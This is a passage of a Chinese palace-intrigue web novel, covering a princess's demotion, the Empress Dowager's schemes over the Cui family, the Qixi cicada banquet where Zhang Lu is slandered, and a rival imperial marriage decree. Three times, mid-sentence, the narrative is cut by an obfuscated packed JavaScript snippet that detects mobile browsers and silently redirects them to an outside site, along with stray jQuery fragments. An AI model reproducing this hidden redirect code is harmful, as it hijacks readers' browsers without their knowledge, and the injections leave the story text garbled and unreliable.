清河大长公主品德败坏,德行有亏,有辱皇室威严,褫夺长公主封号,降为三品乡宁郡主。而张毅然则被打了四十大板,如今也跟废人无异了。 至于敲登闻鼓状告西洲侯的事,查有时据,但念在程卫昭有战功在先,便功过相抵。 章麓坐在自己的闺房里捏着棋子对李鹤霖道:“好一个功过相抵,程卫昭怕是要气死了吧。好不容易有个摆脱程家的机会,就这么硬生生被嚯嚯没了。” 李鹤霖白子落定:“还不是雍贵妃闹的,本来父皇没想这么搞,可架不住雍贵妃胡搅蛮缠啊。” 章麓落下黑子:“还好父亲明智,早早让舅舅一家将生意都切割了,还把姑姑的和离书拿到手,要不然免不了步西洲侯后尘。” 李鹤霖又下一子:“现在世家人人自危,谁都想趁此机会把政敌拉下水,太后也好、靖国公府也罢,都盯着虞庆侯府上下呢,你这几日先呆在府上,马上就是七夕蝉鸣宴了,今年蝉鸣宴父皇让李诗龄来筹备,不知道打的什么主意,不过,不管事情如何发展,父皇都会下旨为你我赐婚。” “父亲那边说通了吗?” 李鹤霖:“那就是父皇的事情了。我赢了。”他站起来,将章麓抱到自己的腿上,深深吻了下去。 * 圣旨一宣,靖国公府瞬间安静了不少。原本的清河长公主,如今的乡宁郡主简直不敢相信自己的耳朵。待内侍宣读完圣旨之后,疯了一般扭打对方,直言他们栽赃陷害,非要进宫讨说法。 靖国公在一旁冷眼瞧着,也不帮忙。 宫里的内侍平日里没少被清河长公主欺负,自然对她有恨。如今对方一朝落魄,虽不至于落井下石,但也没了之前的好脾气。直接甩开对方,话都懒得多说一句,转身便走。 气的乡宁郡主又是一番暴跳如雷,将府里能砸的东西都砸了一遍,还不解气,反而憋的更厉害了。 慈安宫内,太后送走了耀武扬威的雍贵妃,又安抚住了哭哭啼啼的良妃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12938689|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才揉了揉胀痛的额角,喝了口茶静心。 “程氏还有脸在哀家面前耀武扬威,也不看看她自己干的事,给西洲侯惹了多少麻烦。”太后冷笑,“程卫昭这段时间回过侯府吗?” “没有。”嬷嬷回道,“还怄气呢。连五皇子下的帖子都扔了,可见不会轻易原谅。” 太后:“凡是有点血性的男人,都不会忍受雍贵妃这般做法。西洲侯府乱点好,想独善其身?没那么容易,只是可惜了,竟抓不住虞庆侯府半点把柄,连黎家都跟缩头乌龟一样,跑到洛阳去了,哼。” 一名宫女垂着头走了进来:“太后娘娘,崔府五姑娘递了牌子。” “她来做什么?”太后想了想,“莫不是环儿让她来的?” 嬷嬷问:“太后要见吗?” “见,不管为什么而来,如今崔梦宜的婚事是崔家唯一可用的筹码了。” * 崔梦宜低着头跟随内监往慈宁宫,她攥紧了帕子,心中一阵阵的揪疼。她没想到向来疼爱自己的父亲,如今竟对着他露出这般无情的面孔,逼着她用自己的亲事当筹码,只为让崔氏保全富贵荣华。 想当初,陛下刚刚登基分封众人之时,有意认她做义女,封为郡主。但她拒绝陛下的提议,是为了能嫁给三皇子做正妃。毕竟认作义女之后,她与三皇子成为兄妹了不说,她的婚事就变成了国事,她自己做不了主,太后也无法全权把握。 可如今却成了父亲威胁她的把柄,这让她如何不气。 入了宫,太后知道她的来意,趁崔梦宜还未开口之际,先说了自己的意思:“如今崔青卓既已毁了,但崔家不是走投无路。前朝织罗的罪名再多,也都是无伤大雅的小错。皇帝一直压着折子不批,就是因为背后牵扯到的人,他也无法惩戒。” 崔梦怡神色微动,太后看来是已经另有打算,她暗松了一口气,虽然最近发生的事情与她所计划的有些出入,但总体来说还是可控的,接下来只需要保住自己的爵位,在一切变得更加糟糕之前,博得三皇子的心。 太后垂眸冷眼瞧着崔梦宜掩饰不住的激动,便知道她又打自己的小算盘了。心道,这几年果然太过纵容她,将她的心养的这般大,如今竟为了一己私欲,置整个安国公府于不顾。 她将茶盏重重磕在檀木桌上,巨大的声音回荡在宽阔的宫殿里,惊醒了沾沾自喜的崔梦宜。她连忙将头垂得更低,做出恭敬姿态,掩藏住眼神中的暗芒。 太后不咸不淡的说到:“别以为哀家不出这皇宫,就什么都不知道。你在李啸林面前说的那些话,做的那些事,哀家便不与你计较了。如今你既已不是完璧之身,能顺顺当当嫁进卫王府也算你的本事,但皇子就不要肖想了,别说陛下不同意,哀家也不能任由你踩着崔氏满门上位。” 崔梦宜趴服在冰凉的地板上,冷汗浸透了内衫,她没想到这件事做得如此隐蔽,都能传出消息。她赶忙为自己辩白:“姑母,小五绝没有二心!” “行了,别在哀家面前装,你且记住,哀家在,崔家才有荣耀,崔家有荣耀你才能高嫁。” 崔梦宜咬着牙,心中不忿,但还是老实应是,不敢露出半分不满。 她走后,太后强撑着的身体终于还是倒下了。 嬷嬷赶忙扶着她躺在床上休息,劝到:“娘娘,容奴婢说句大逆不道的话,您当初何必非要将爵位放在三爷身上。就算是旁的几房承了爵,也不敢对您不恭敬。如今,崔府乱成这般模样,您当真还指望能复起?” 太后面色疲惫的说到:“就是因为那哀家那几个庶出兄弟太过出色,哀家才不敢让爵位旁落。否则,陛下指一门好亲事,那崔家就会变成第二个靖国公府。到时候,崔家还是哀家的崔家吗?只怕会成为陛下的崔家。” 嬷嬷心知太后难做,可把转机压在一个有私心的崔梦宜身上,怎么瞧都不妥,便问:“娘娘真要将希望都放在崔五姑娘的身上?奴婢瞧着她不是很靠得住。” 太后嗤笑一声:“哀家怎么会将赌注都压在她身上?那般跟她说不过是找个由头,给她找点事做罢了。这孩子如今起了异心,便不好留在身边,但作为崔家女儿,总要为崔家添些助力,才不枉哀家这些年对她的宠爱。我那小儿子我还是很了解的,心比天大却是个不中用的,扶他不如扶他儿子,哀家还能做个垂帘听政的实权太后,不至于像现在这般掣肘。如今崔氏和靖国公府虽闹得不可开交,但到底是绑在一起的,若是一家出事另一家也得不了好。” 她叹了口气,说到:“传话给靖国公,就按他先前说的那般……做吧。” 81. 第 81 章 跨出慈安宫的宫门,崔梦宜瞧着火红的宫墙,心中一片冰凉。如今已然六月末,再过几日便是七夕。听父亲说,七夕之后,便会为各家赐婚,李啸林一直没有要娶自己的意思,她又该如何在这仅仅十日之内,让对方娶自己呢? 今年七夕蝉鸣宴交给了六公主李诗龄,那是个空有美貌没有脑子的家伙,听闻雍贵妃从旁协助,想来也是醉翁之意不在酒,有别的谋划。思来想去,只能在今年的七夕蝉鸣宴上使些手段了。 傍晚时分,京城各家小姐便收到了来自六公主的蝉鸣宴请帖。 章麓瞧着章引玉手中把玩的请帖,道:“居然还邀了章瑾秋,看样子,是远近不计,但凡在京中的都在受邀之列。” “何止,她还邀了不少郎君呢。”章引玉一双白眼翻上了天,无比嫌弃的说:“她递进王右相府里的帖子上,还写了首酸诗呢!哼!” 章麓问:“那他去吗?” 章引玉摇头,沾沾自喜道:“他说了,以往蝉鸣宴与其他宴会不同,会去的男子多是冲着六公主本人或者其他未婚贵女,他已与我定下婚约,就不好凑这个热闹,便不去了。” 章麓瞧着她洋洋得意的模样,笑到:“瞧把你给美得。” 未婚夫洁身自好,自然要高兴,章引玉又夸赞了两句王临之。 休晌过后,章麓回到侯府先去正屋见母亲。虞庆侯夫人正在看账本,得知章麓的来意,便问:“你与三皇子可是商量好了?” 这问题令章麓不解,问道:“这与蝉鸣宴有何关系?” 放下手中的账册,虞庆侯夫人招呼她坐下,说:“七夕是乞巧节,洗濯去垢、驱除邪祟的节日,蝉鸣宴历来都是作未婚男女相看之用,会有内官专门记录来往男女,以便陛下为各府赐婚施恩。前朝时多为宫中辈分较高的公主来主持。今年清河长公主被降爵,由六公主主持也未尝不可。不过,蝉鸣宴向来有个传统,便是要在水边举行,今年在伊水,那里地偏难免不会有人生出旁的心思,你要小心。” 章麓蹙眉,不解的问道:“可六公主也邀了王右相府上的二郎君。” 闻言,虞庆侯夫人脸上的笑意减了三分:“六公主倾慕王临之,疯事传了不少。王相权不会让他去的,所以你才危险。” 六公主信任五皇子,这事不是秘密。六公主打王临之的主意,对于五皇子来说没什么损失。只是前头有一道赐婚圣旨横在那儿,六公主也不会明着使手段,否则打了陛下的脸谁都别想好过。可无论是五皇子一派还是太后一派,都不会放任身为三皇子伴读的王临之娶了章家姑娘,自然就会想在章麓身上动脑筋。 自崔府与靖国公府出事以来,太后与陛下都分别召见了她和侯爷,一个明面上拉家常,实则是处处夸耀卫王府的世子李啸林;另一个明面上讨论战事,实则明里暗里赞扬三皇子在于高丽一战中,军功累累、骁勇善战。夫妻俩回来一合计,便知道太后和皇上都有指婚的念头。 以前虽然也觉得章麓的婚事由不得夫妻两人做主,但是总归只是猜测,再加上告知了章启的身世,总归能打消一些陛下的猜忌,容他们做主女儿的婚事。 可谁承想,太后一派做事如此不择手段,事赶事的就造成了今天的地步。 无论是李啸林还是李鹤霖,都不是空有名头的没落宗室,但一个是明晃晃的陛下属意的继承人,一个是太后最爱的小儿子的嫡子,明显选任何一方另一方都会被得罪。 “母亲,怎么了?”章麓见母亲面露愁容,担心的问。 “无事。”虞庆侯夫人掩去脸上的担忧,再看向自家女儿时便又是浅笑模样:“蝉鸣宴还是要去的,但一定要注意安全,与莹莹一道,别乱跑。” * 七月七当日,章麓梳了个分髻,发髻两侧各簪着一朵黄琉璃做的百瓣昙花,下坠着两道珍珠流苏,明艳动人。仔细看去,不单发髻发簪精巧别致,连衣裙都颇为讲究,不似之前的男装或者有北方游牧民族元素的交领长袍,而是破天荒的穿了百迭裙。从最内层的浅粉到最外层的杜鹃红,五层的渐变红色走起路来层次分明,犹如牡丹一般艳得张扬。 这次蝉鸣宴,因六公主广发名帖,以至于尹水河畔马车环绕,越靠近尹水路就越难走。一路走走停停花了半个多时辰才来到尹水旁的宫苑外门。 章引玉在车里坐得有些不耐烦,见车架又停了,非常有经验的叹:“这又是要给哪家让路啊?” 章麓撩开扯帘往外望了几眼,瞧见前面停着一辆明黄色蟒纹车架,车厢四角的宫铃上刻着‘渊’字,旋即落帘说到:“前头是四皇子的马车。” “嗯?七公主向来与六公主不对付,四皇子与七公主一母同胞,且感情深厚,怎么会愿意来给六公主捧场?”章引玉有些奇怪,她挑开帘子往前瞅了一眼,正巧看见四皇子李谨渊扶着七公主李明月下车,这使她更为诧异,秀眉轻挑道:“七公主竟一起来了,这还真是稀奇。” 章引玉还是挺喜欢七公主李明月的,章麓未入京之前,与她玩的最多的同龄人便是李明月。不单单是因为她的母妃景贵妃是王临之的亲姑姑,更因为她与自己一般是个闲不住的,乐于八卦不爱女红。 去年在邓州的中秋宴上,她因一曲《秋染》拔得头筹,受到不少世家夫人的称赞,得了一个‘秋仙’的称号。当时还是邓州伯府六姑娘的六公主,嘴上说着恭喜,然一个五品侍中之女评价她的琴音同好,只可惜中间错了一音,她便立刻掉脸子,直吓得对方跪地求饶,最后还是以不敬皇室为名要赏她鞭子。 女孩子的身子怎么能落下鞭痕呢?章引玉本想出头,一个名号而已,六公主想要给她便是。但七公主却拉住了她,用一首藏头诗直接将人骂了一通。最后虽告到了陛下和太后那里,但七公主的诗写的隐晦,再加上是六公主自己没理,陛下不禁赞赏了七公主,还令六公主禁足反省。 自那之后,六公主就与七公主杠上了,但凡赏花宴饮总能看见她的身影。七公主弹个琴她也弹,七公主赋首诗她也赋,只可惜技不如人,总是丢脸。丢脸之后还不认账,一直胡搅蛮缠,以至于后来只要六公主一出现,气氛总能变得有几分微妙。 大约是称号的事,加上王临之与章引玉青梅竹马,对她颇为照顾,六公主也不待见章引玉。偶尔碰见,总要上来找麻烦。可章引玉也不是个忍气吞声的性子,虽是女儿不常出门,但常年与能说会道的王临之混在一起,口舌之伶俐也是无人能及。因此每每六公主来找麻烦,她便引经据典的映射对方,直把地方说的无所适从。 不过今日有不少公子在场,章引玉速来要面子,不肯在男子面前下凡尘,坠了她仙女的美名,早就打定主意龟缩在角落,不与六公主对上。 不过如此一来,很可能错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12953468|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失了两位公主对上的场面的,少了很多八卦,有些可惜。 正被念叨的七公主突然觉得鼻子有些痒,心道,果然与李诗龄那个脑残不对付,要不是三皇兄所托,她才不来凑这个热闹。 而七皇子李谨渊更是一脸生无可恋,他回想起自己十六岁时,母后为他行舞象之宴,在宴会上被一众闺秀围观的场面,想想就觉得头皮发麻。还好今日之宴并非男女混席,而是隔园相置,待到曲水流觞之时他再寻个借口提前离开便是。 下了马车,李谨渊与李明月并肩而立,往院子里走。待到分别,李谨渊还是耐不住问自己妹妹:“三哥到底同你说了什么?你就告诉我吧!” 李明月微抬下巴,傲娇道:“就不告诉你!”然后转身进了荷香园。李谨渊幽怨的注视着妹妹的背影,直到看不见,才转身去了相反方向的饮竹苑。 这座行宫修建的非常大,怕贵女们累着,内务府早先便在荷香园二门处备了软轿。一台台小花娇子顺着一丈宽的石板路往里走,左右两侧可观迎春枝条扎成的花球,此时已经开满嫩黄的小花。亭池山石,回廊相接,花草树木环环绕绕、影影绰绰。 这座行宫当年建造时,是专门为了霄云女帝的皇后裴凛宴饮所用,但裴皇后并不常来,且每次来皆不留宿,必定会在皇宫落钥前赶回去,因此与其他行宫不同,这里花园饮酒之处颇大,而屋舍较少。前堂、中堂、后堂,皆是三十六根立柱撑起的大殿,讲究的是大开大合,雄伟壮阔。 贵女们宴饮之地在荷香园的西北侧,偌大的湖水中建着三个长宽十丈的平台,互相由九曲廊桥相连。平台上规整的摆着几张条案,上面备着笔墨纸砚,还有已经被切成一个个小方块的、从汴州新运来的西瓜,浇着蔗糖糖浆的酥落,还有昭州进贡的白茶。 李明月向来不给李诗龄面子,随便选了个靠水的位置,就直接吃起了桌子上的酥落。边吃边对侍女说:“瞧瞧这选的条案,怕是前几年的款了吧,也不知道去工部找点时新的东西。李诗龄这蝉鸣宴,只怕也就吃的能拿得出手了。” 眼瞧着她将一盘子酥落吃了个见底,还想挑几个鲜花饼吃,侍女忙劝到:“公主,新年刚制的裙子都小了一圈了,娘娘嘱咐过,让您不能再吃这些甜的了。” 李明月白了白眼,混不在意的说到:“管她呢,反正过了七夕就要跟三哥习武,到时候指不定要瘦多少呢,这会儿先吃个够再说。” 这时,李诗龄刚好引了雨陶郡主和几位世家闺秀过来,见李明月直接吃上了,还吃得盘盘见底,不禁笑到:“妹妹倒是好胃口,就是辛苦尚衣局又要为你重新裁衣了。” 围在李诗龄身边的闺秀都是西洲侯一派,明里暗里支持五皇子李谨焕的,此时听到李诗龄的话,皆以帕掩唇,一同露出嘲笑的表情。 李明月丝毫不为所动,拍了拍手上的点心渣滓:“反正本宫也不争什么‘洛阳第一美人’啊,‘秋仙’啊,‘双姝’啊之类的称号,当然用不着像你一样瘦得跟个筷子一样,稍微吹点小风就能摔出一身伤。” “瘦至少穿衣服好看,哪儿像你,胖的跟头猪一样!”李诗龄丝毫不掩饰自己对李明月的敌意。 而李明月也丝毫不在意别人说她胖,反正男人娶妻只看家世,纳妾只看脸。将来她大可以养一堆面首,不找驸马。只要自己吃的高兴,玩得开心就好,管别人说什么呢。 82. 第 82 章 正当此时,章麓和章引玉被侍女引着朝这边走了过来。 李明月笑着指了指她们二人:“左右你这辈子都比不过章氏双姝,那可是父皇亲口封的‘天下双美’。天天跟本宫比,你也就这么点本事了。” 一众闺秀回头朝章氏两姐妹望去。 只见长长的九曲廊桥上,章麓的红裙在湖面微风下如牡丹花一般层层绽开,长长的宫绦随风飘飞,配着金线广袖,宛若仙女下凡。章引玉身着淡绿色坦领半臂、绿黄间色裙,鹅黄色的披帛随风而舞,肌肤娇嫩、两腮盛雪,今个儿没梳她最爱的双髻,而是梳了个抛家髻,发间簪着一只满树梨花金步摇,少了平日的小女儿姿态,反倒颇显雍容华贵。 这身打扮是虞庆侯夫人特意提点的,毕竟上元灯会的事儿还不算过去,姑姑与傅云期的事又闹得沸沸扬扬,总不好一身肃静打扮叫人觉得府上不平静,也不好像以往在范阳时做男儿装扮,便索性直接打扮的张扬夺目,将自身美好的地方都展现出来。尽力叫人眼前一亮,惊艳众人。 李明月没管其他闺秀是如何羡慕、嫉妒章氏双姝的好样貌,直接招呼两人坐她旁边来。 “好你个章引玉,有了姐姐就忘了妹妹了!我都给你下了两次帖子了,你都不来宫里找我玩!”李明月佯装生气的说到。 章引玉赶忙拿起桌子上的一盘鲜花饼,上面印着棠梨二字,是御厨所做,用的河源县进贡的小棠梨。这是李明月最爱的馅料,她连忙端到李明月面前,讨饶道:“好明月,你也知前段日子府上出了事,要不然怎么也会进宫陪陪你的。” 李明月只是逗逗她,自然不会与她计较,转而将话头落在了章麓的身上:“章六姑娘果然人间绝色,这穿红衣的闺秀我见过不少,但唯独你穿着才如牡丹出水,艳而不俗。” 有几个早先便到了的闺秀也跟着赞叹起了章麓,而跟着雨陶郡主来的一行也不知道该奉承谁,怕两边都得罪,只能沉默。 也有不忿的,便是与李诗龄交好的。当然,而更不忿的要数李诗龄本人了,她往前走了几步,冷眼瞧着饮茶的章麓,从上至下打量着对方,冷笑一声,道:“没想到都被崔敏先碰了身子,还能穿的如此花枝招展,真是不害臊。” 热闹的气氛霎时间静的可闻针落之声。 就连章麓品茶的动作都顿了一下。 她放下茶盏,抬眼看着对面的李诗龄,她是真没想到,对方这茬竟是冲着撕破脸面去找的,真真叫人大跌眼镜。 章引玉听见刚想还嘴,就被李明月压下,她本想替章麓出头,毕竟受三皇兄所托,肯定要起点作用,方不枉费三皇兄割爱的昙花佩。 可还没等她发挥,就听见章麓不紧不慢的问:“六公主这是从哪儿听来的谣言?” 李诗龄顿了顿,说到:“自然是亲眼所见。” “哦?”章麓眉眼弯弯的瞧着对方,幽幽问道:“何地所见?可有旁的人证?” “本宫在哪儿所见还需要向你汇报?反正见了就是见了!上元灯会,你落入洛水,然后被崔敏先所救,结果你恩将仇报将他刺伤不说,还任由他沉到江底,若不是贤王世子好心将人救出,你便是害了一条人命!”李诗龄信誓旦旦的说着,一副高高在上的口气。 围着她的闺秀们也纷纷附和,好似与她一同亲眼所见一般。 章麓笑了,她扫了一眼四周,在一个不起眼的角落里看到了独自品茶的崔梦宜,开口道:“崔家的崔五姑娘也在,倒不如让崔五姑娘来说说,到底是不是这么回事?” 崔梦宜早就知道章麓不好对付,听她提起自己也不意外,只露出一个温婉的笑容:“当日我并不在府上,也是从太后那儿回来才知道兄长落了水。父亲母亲都在主院看顾兄长,我便从下人那里听说,兄长是为救章四姑娘才受的伤。后来,父亲母亲也默认了这件事,但说为了姑娘家的名节,不好到处宣扬,便做主压下了此事。” 上元灯会的时候,崔敏先落水不是为了救虞庆侯府的两个丫头吗?怎么变成了章麓? 众人茫然,不过有知道些许内情的人都没有说话,她们从六公主和崔梦宜的态度里品出了点不同寻常的意味。 “你信口雌黄!”章引玉终于忍不住,一拍桌子站了起来,连带着将拉着她胳膊都李明月都带了起来。 “章七姑娘,我只是实话实说罢了。”崔梦宜说。 章麓望向崔梦宜,心里寻思着对方说这话到底是自己的主意,还是太后的主意。 她没说话,李诗龄便当做对方默认,气焰更加嚣张,说:“堂堂‘铁血长城’的范阳章氏,竟教出你这样私德败坏的女儿,真是给家族抹黑!” “李诗龄,你放什么屁呢!”章引玉向来以自己的姓氏和家族为荣,绝不允许任何人抹黑,听到李诗龄的话,登时怒火冲顶,什么都顾不上了。 李诗龄没想到章引玉胆子这么大,竟敢知乎她的名讳,直接斥道:“章引玉!你不敬皇室,当鞭二十!来人,给我按住她!” “谁敢!”李明月一把挡在章引玉面前,怒瞪想要冲过来的两个婆子。 场面一时间混乱非常。 似乎是过了很久,章麓才站起身,走到李诗龄的面前,冷声到:“六公主,我章氏一族守卫边关百年,战死的儿郎女娘不 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“我有没有吓唬你,你大可以问问在场的其他人。你先说我父亲手握六十万兵权,陛下知道真相也会向着我,意思是说臣强而主弱,凭范阳章氏的实力,足以挟天子以令诸侯,推翻李氏江山自立成皇吗?后面又说陛下不会公平决断,陛下乃真龙天子,你说陛下不会公平,岂不是在说他昏庸无道!六公主觉得,这两点哪一个不够治你的罪?” 章麓的话字字诛心,击得李诗龄生生后退了一步,浑身都在冒冷汗,强撑着体面指着章麓怒吼到:“你污蔑宗室!口出狂言!快给本宫打她板子!快打!” 可这回没人再帮腔,而是纷纷往后退了几步,离她远了些。就连崔梦宜都没再开口,独自坐在角落里,好似一尊花瓶一般。 就在气氛凝固的时候,一直立在一旁的雨陶郡主突然出声:“六公主,做人可以愚蠢,但不能既愚蠢又歹毒。否则早晚有一天,你说出的话会反噬到自己身上。” 嗯? 章麓侧目,她没想到雨陶郡主居然会替她说话。 不过,雨陶郡主毕竟是当朝最有实权的宗室女,她的话等同于定了六公主的罪,不知内情的人顿时明了。原来是六公主与崔家的在故意污蔑章六姑娘,难不成是因着陛下上元宴的一句‘天下双姝’? 也有人才对了一半的真相,觉得应是太后想为了保崔氏富贵,还做着想将章麓与崔敏先绑在一起的春秋大梦。 李诗龄还想辩解,却被一阵脚步声打断,竟是李谨渊带着一众男客走了过来。 83. 第 83 章 李谨渊的母妃景贵妃乃是王相权的胞妹,年轻时也是国色天香、倾国倾城。加上皇帝的姿容也不错,生下的李谨渊、李明月兄妹自是容貌绝顶,可惜李明月好吃,脸圆圆的身体也有些偏胖,折损了三成的美貌,独留下李谨渊一人独美。 李谨渊身长玉立,整个人如青翠竹松,与三皇子李鹤霖相比,他少了七分英武之气,多了些书卷气息。细看之下,竟与王临川有着四五分的相像,可见其与景贵妃要更像一些。再加上年幼时,常常男扮女装,替妹妹遮掩私自出宫的‘罪行’,因而许多人都将他与‘阴柔’二字挂钩,即便他的武艺与李鹤霖不相上下。 他走到两丈远外的另一处平台上,与众贵女遥遥相望,说道:“你们在聊什么呢?隔着院墙都能听见你们这边的动静。” 李诗龄刚想开口,就被雨陶郡主压下,后者扬声道:“自是聊聊今个儿来的男客,都是些什么品行。若是谁知道些个不为人知的辛秘事,可得说出来分享才是,也叫姐妹们将来相看时,避开那些个绣花枕头。” 雨陶郡主这话打趣的成分颇多,引得对面的公子们软话连连,也引得这边的娇客笑意盈盈。有些个性子活泼的,已经隔空逗趣了起来,烘托的气氛热闹非凡。 李谨渊是个护短的,如果让他知道李诗龄这般为难李明月,怕是不会放过李诗龄。如今暗潮汹涌,她还有用得着李诗龄的地方,绝不能让李谨渊给折腾没了。 雨陶郡主特意没往上凑,反而攥紧了李诗龄将她拉到偏角去。轻声警告道:“今日这般是什么场合,你竟敢说出如此大逆不道的话来。怡妃对陛下心中有怨,对你们姐弟二人生下便不管不顾,若是章六姑娘真的在陛下面前告你一状,你觉得怡妃娘娘会为你们出头吗?” “皇宫是什么样的地方,不用我多说你就应该明白。你瞧瞧李明月平日的吃穿用度,再瞧瞧你自己的,难不成还看不清吗?如今怡妃尚在你还是这般待遇,若是怡妃弃你于不顾,你又该是什么样的待遇?更何况,公主就算再尊贵,也早晚要嫁出去。待你招了驸马在外开了府,到那时,你若是如李明月一般得陛下喜爱,驸马自是不敢忤逆。但若是你被陛下厌弃,那驸马又该如何待你?当今世上,女子若是没得半点本事,那就只能仰男人鼻息活着。你若不想下半生过得痛苦,就老老实实的别搞幺蛾子。” 李诗龄咬着下唇,勉为其难的点了点头。 李啸音一瞧她这模样,就知道这话没听进去半分,只能警告道:“我不知道崔梦宜跟你说了什么,但我告诉你,崔氏也好,靖国公府也罢,都活不了几天了,而你,若是不想被牵连进去,就少往里掺和。” “知道了,啰嗦。”李诗龄甩开她的手,心情有些烦躁。她只是不想章氏姐妹好过,方才如此说,并没有经过深思熟虑。不过,崔梦宜跟她商量的事,她还是要做下去,毕竟成了对自己也有好处。 * 虽然男客也来了荷香园,但蝉鸣宴该走的流程还是要继续。 只不过顺势改了改,由原来的琴棋书画,改成了诗词、乐舞。简单来说,就是姑娘出题,公子写诗,写好的诗再由姑娘们谱曲跳舞。 章引玉因是被赐婚的人,不好参与这种活动,便与李明月继续吃吃喝喝。其他人倒是因为听说过上元宫宴,章麓一舞惊鸿的事,想要借此见识一番。但章麓丝毫没有献艺的打算,依旧稳稳坐在李明月的身边,吃着点心喝着茶,众人也不好将人从七公主身边叫走,只能歇了心思。 * 明德殿内。 泰安帝正与三省长官讨论诸皇子封王的事。 因前头有两位长辈被封亲王,三位已过舞象之年的皇子,没有功绩不好直接越制册封超品亲王,便打算先封二品郡王。只是突发与高丽和鲜卑的战事,让李鹤霖与程卫昭立了功,便不好与其他皇子一样。 内阁大臣们凑在一起,仔细研读了几遍虞庆侯世子章启送来的战报和功绩册,迟迟下不了决断。 以军功,李鹤霖远比不上贤王,但若是将他与其他两位皇子相提并论,又多有些不公平,便打算在封地上做些区别。 至于封地,四皇子和五皇子皆以万户侯为标准,每人一个郡府,食邑三万户,而李鹤霖则多加一个郡,食邑六万户。 “如今天下初定,不少地方官员依旧按着前朝的旧历管理地方,甚至有像德州的官员一般,当朕是个聋子、瞎子。不把大梁法度看在眼里。此次为几位皇子封王,就是为了监察地方官员,以防德州的事情在其他地方重演。”泰安帝说到。 长长的宫道上,一位身着灰色内侍服的小子飞快的朝明德殿奔去。守在殿外的孟德才一见到他,登时怒目圆睁,低声斥道:“宫内禁止狂奔,你这像什么样子!” 那内侍也来不及解释,直接说到:“太后懿旨,赐婚虞庆侯府六姑娘为卫王世子正妻!” “你说什么!” “太后下旨,宣旨的内侍已经出宫了!小子找人拦了下来,但不能一直拦啊!” 孟德才直接蒙了,他一拍大腿,哎呦了一声,此时也不顾不上什么规矩,直接在门外喊道:“陛下,慈安宫急报!” 殿内的三位宰相面面相觑,泰安帝画日的手一顿,快速填完日期,递交给王相权,道:“先行盖印宣旨,之后再誊抄备档,速度要快。” 门下省宰辅不明所以,张锦略有所思。几人恭敬行礼退下后,泰安帝忙召孟德才入殿。 知悉了事情经过后,泰安帝长叹一声:“看来安国侯真是被逼急了,朕与母后终究要走到这地步了。”随即,将一封早就拟好多日的诏书拿了出来,上面盖着中书省的金印,只还未画日誊名。他毫不犹豫的在上面写下了章麓的名字,落笔时,他唤来一名内官:“宣虞庆侯来见朕。” 泰安帝将圣旨交给孟德才,嘱咐道:“先不急,太后懿旨毕竟没让朕过目,做不得数。你先去王相权那里将盖好大印的诏书拿来,命王相权即刻去宣读三皇子封王诏书,张锦宣五皇子封王诏书,你直接去尹水行宫宣四皇子封王诏书,和这封赐婚诏书。” 孟德才得了嘱咐,马不停蹄的往宫外赶。 另一边,虞庆侯正与李鹤霖在校场练兵。这些都是从德州逃难到长安的绝户,李鹤霖欲意将他们并入墨云骑,组成重骑兵,特来向虞庆侯讨教。 这些人常常饥一顿饱一顿,又经历风霜,身体非常虚弱。虞庆侯站在演武场的一端,身形挺拔,站立如松,对面的这些新兵正双手平齐扎着马步,脸上汗水涔涔,双腿打颤,却没有吭一声,依旧咬牙坚持。 一直练到临近正午方休。 李鹤霖正要请虞庆侯一同去用午膳,不想内侍传话,命虞庆侯进宫觐见,陛下有要事相商。 虞庆侯只能告辞,跟着内侍走了。 李鹤霖的手指在腰带上点了点,对卢康道:“午膳留给你们了,我进宫一趟。” * 进了明德殿,虞庆侯拱手行礼道:“臣参见陛下,问陛下圣安。” 泰安帝抬了抬手,叫他起来,时间紧迫,直接丢出一道惊雷:“太后下了懿旨,为章麓赐婚,旨意已经发出了。” “什么!这怎么行!”虞庆侯的屁股刚贴到椅子上,听到这个消息立刻蹦了起来,急忙道,“崔敏先什么德行陛下是知道的啊!臣无意小女攀高枝,只求得个平凡良人,平安喜乐的过一辈子!绝对不能嫁给崔敏先啊!” 泰安帝站起身,绕到桌案前,拍了拍虞庆侯的肩膀,安抚道:“爱卿放心,朕并未在旨意上盖印,太后所做一切均未与朕商议,这懿旨做不得数。” 虞庆侯刚放下心来,就听见泰安帝话锋一转:“只不过,太后是直接去尹水行宫传的旨,今日是蝉鸣宴,全长安数得上的闺秀公子都去了,这旨意虽未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12982339|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盖印,可一旦宣旨,对令嫒的名声怕是……” 